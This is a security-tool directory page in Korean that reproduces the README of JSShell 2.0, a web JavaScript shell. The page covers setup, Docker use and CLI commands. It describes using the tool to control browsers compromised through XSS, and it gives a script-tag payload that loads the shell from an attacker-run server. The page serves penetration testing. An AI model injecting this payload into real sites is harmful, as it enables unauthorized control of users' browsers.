Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
JSShell — 대화형 다중 사용자 웹 JS 셸 | Kitploit
도구/GitHubGitHub/den1al/jsshell
ExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubden1al/jsshell

JSShell

대화형 다중 사용자 웹 JS 셸

저장소 보기
364704년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

JSShell 2.0

made-with-python Generic badge Generic badge

대화형 다중 사용자 웹 기반 자바스크립트 쉘입니다. 처음에는 실험 및 연구 중에 원격의 난해한 브라우저를 디버깅하기 위해 만들어졌습니다. 이 도구는 XSS(Cross Site Scripting) 페이로드에 쉽게 연결하여 브라우저 원격 코드 실행(BeeF 프레임워크와 유사)을 달성할 수 있습니다.

버전 2.0은 완전히 처음부터 새로 만들어졌으며, 새롭고 흥미로운 기능, 안정성 및 유지보수성을 제공합니다.

버전: 2.0

작성자

Daniel Abeles.

쉘 동영상

asciicast

특징

  • 다중 클라이언트 지원
  • 순환 DOM 객체 지원
  • 사전 실행 스크립트
  • 명령 큐 및 컨텍스트
  • 플러그인으로 확장 가능
  • <script> 태그를 통한 주입 가능
  • 명령 출력을 파일로 덤프
  • 쉘 페이지네이션
  • HTTPS 지원! Generic badge

설치 및 설정

설정 파일

resources 디렉토리에서 config.json 파일을 원하는 구성으로 업데이트하세요:

  • 데이터베이스 호스트 - docker 배포 방식을 사용하는 경우 데이터베이스 호스트를 db로 선택하십시오(내부 호스트 이름).
  • 반환 URL - 요청이 따를 URL입니다. shell.js 파일은 등록 및 새 명령 폴링을 위해 일부 AJAX 호출을 수행합니다. 일반적으로 http[s]://{서버_IP}:{포트}입니다.
  • 시작 스크립트 - JSShell CLI 클라이언트가 생성될 때 자동으로 실행되는 스크립트입니다.
  • 도메인 - TLS 인증서를 생성하려면 서버가 사용할 도메인 이름입니다.
  • 원하는 경우 원격 데이터베이스를 가리키는 것도 가능합니다.

Let's Encrypt

이제 JSShell이 TLS를 지원하므로 TLS 인증서를 생성하여 웹 서버에 제공할 수 있습니다. 웹 서버는 config.json 파일에서 도메인 이름을 추론합니다. 인증서를 생성하려면 scripts 폴더에 있는 create_cert.py 스크립트를 사용하세요:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <도메인> --email <이메일>
이메일 필드는 선택 사항입니다.

웹 서버가 실행 중이면 스크립트가 제대로 작동하지 않으므로 중지해야 합니다. 이 시점에서 인증서가 성공적으로 생성되었습니다! 수행해야 할 유일한 수정 사항은 다음과 같습니다:

  • config.json 파일에서 URL 필드의 스키마를 https로 변경합니다.
  • docker-compose.yml 파일에서 web 컨테이너의 노출 포트를 443으로 변경합니다.

Docker

이 새 버전은 docker 및 docker-compose를 통해 JSShell을 설치하고 실행할 수 있습니다. 이제 전체 JSShell 프레임워크를 설치하고 실행하려면 다음을 실행하세요:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

그러면:

  • 백그라운드에서 데이터베이스를 시작하고 생성합니다.
  • 백그라운드에서 들어오는 연결을 처리하는 웹 API 서버를 시작합니다.
  • JSShell 명령줄 인터페이스 컨테이너의 새 인스턴스를 생성합니다.

일반적인 방법

여전히 기존 방식으로 설치하려면 MongoDB 데이터베이스가 실행 중인지 확인하고 resources 디렉토리에 있는 config.json 파일을 업데이트하세요.

pyenv와 함께 가상 환경을 사용하는 것을 권장합니다:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

또는 virtualenv 사용:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

그런 다음 요구 사항을 설치하세요:

root@kitploit:~
$ pip install -r requirements.txt

실행

docker 방식을 사용했다면 아래 절차를 실행할 필요가 없습니다.

웹 서버

그 외의 경우, 데이터베이스 설정이 완료되면 웹 API 서버를 시작해야 합니다. 다음을 실행하세요:

root@kitploit:~
$ python manage.py web

그러면 들어오는 연결을 수신하고 JSShell 코드를 제공하는 웹 서버가 생성 및 실행됩니다.

쉘

이제 JSShell CLI를 시작하려면 동일한 스크립트를 shell 플래그와 함께 실행하세요:

root@kitploit:~
$ python manage.py shell

사용법

설정 및 필요한 구성 요소를 실행한 후 help 명령어를 입력하여 사용 가능한 명령어를 확인하세요:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                텍스트 편집기에서 파일 편집
help                사용 가능한 명령어 나열 또는 특정 명령어에 대한 자세한 도움말 표시
history             이전에 입력한 명령어 보기, 실행, 편집, 저장 또는 지우기
ipy                 대화형 IPython 셸 시작
py                  Python 명령어 또는 셸 호출
quit                이 애플리케이션 종료

Shell Based Operations
--------------------------------------------------------------------------------
back                현재 선택한 클라이언트 선택 해제
clients             시스템에 등록된 클라이언트 목록 및 제어
commands            선택한 클라이언트에서 실행된 명령어 보기
dump                명령어를 디스크에 덤프
execute             선택한 클라이언트에서 명령어 실행
select              클라이언트를 현재 클라이언트로 선택

>> 

흐름

JSShell은 2가지 작동 방식을 지원합니다:

  1. 주입 가능한 쉘 (BeeF 프레임워크와 유사)
  2. 호스팅된 쉘 (디버깅용)

주입 가능한 쉘

다른 XSS 제어 프레임워크(예: BeeF)와 유사하게 JSShell은 성공적인 XSS 악용을 관리할 수 있습니다. 예를 들어, script 태그를 주입할 수 있다면 다음 리소스를 페이로드에 추가하면 콘솔에 새 클라이언트가 나타납니다:

<script src="http[s]://{서버_IP}:{포트}/content/js"></script>

호스팅된 쉘

비정형적이고 난해한 브라우저를 디버깅하려면 http[s]://{서버_IP}:{포트}/로 이동하기만 하면 JSShell CLI 클라이언트에 새 클라이언트가 나타납니다. 이제 JSShell 콘솔을 통해 디버깅할 수 있습니다.

크레딧

Canop의 JSON.prune 제공

사용에 따른 책임과 위험은 본인에게 있습니다.
도구 다운로드